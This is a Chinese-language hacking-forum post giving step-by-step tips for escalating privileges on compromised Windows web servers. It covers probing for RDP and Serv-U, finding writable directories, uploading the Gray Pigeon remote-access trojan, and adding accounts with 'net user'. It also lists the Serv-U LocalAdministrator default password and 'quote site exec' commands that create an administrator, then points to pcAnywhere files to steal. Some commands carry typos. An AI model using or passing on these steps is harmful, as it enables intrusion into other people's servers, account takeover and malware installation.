【增加提权成功率技巧分享】
一：首先检测一下网站的服务器是否开了 3389 远程终端二：检测一下服务是否用了serv-u （还有是什么版本的）
方法
一：复制一个网站 用 3389 登陆器连接一下 （是否成功）
能连接了，拿下服务器的机率，提高 30%了
二：用ftp模式查下一个服务器的版本
开始 -- 运行 -- cmd -- ftp (加你要登陆的网站)
---------------------------------------------------------------------------------------
第一步：最简单的方法
看有没有权限，能不能执行命令，行的话直接传个 鸽子 运行（成功率非常低）
----------------------------------------------------------------------------------------
第二步：:寻找有执行的权限目录
c:\winnt\system32\inetsrv\data\
c:\Documents and Settings\All Users\
c:\Program Files\serv-u\
C:\Program Files\Microsoft SQL Server\
这样的目录可以直接上传 鸽子 ，运行
-----------------------------------------------------------------------------------
第三步：传个cmd和开帐号的ftp.exe上去直接加帐号
命令就是你上传目录D:\VMware Workstation\cmd.exe"net user xiao xiao /add"
-----------------------------------------------------------------------------------
第四步：asp提权 木马 直接提权
serv-u 6.3 版本 好象用asp提权 木马 （不成功）
serv-u 6.2 版本 好象可以
不过提权能不能用asp 木马 还要看服务器，设置的变态不
假设直接用asp提权成功之后，还是不成功，但是可以在
cmd之下 用这个帐号连接一下
ftp (加你提权的网站)
帐号：LocalAdministrator 密码：$ak#.1k;0@p">#1@$ak#.1k;0@p
如果成功连接后就可以直接添加管理员帐号了
命令：quote site exec (你添加的帐号) net user 123 123 /ad
quote site exec （把帐号提升到最高权限） net localgroup administartors 123 /add
---------------------------------------------------------------------------------------
第五步：pcaanywhere
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
这里下他的GIF文件，在本地安装pcanywhere上去
网上很多教程
**** Hidden Message *****
页:
[1]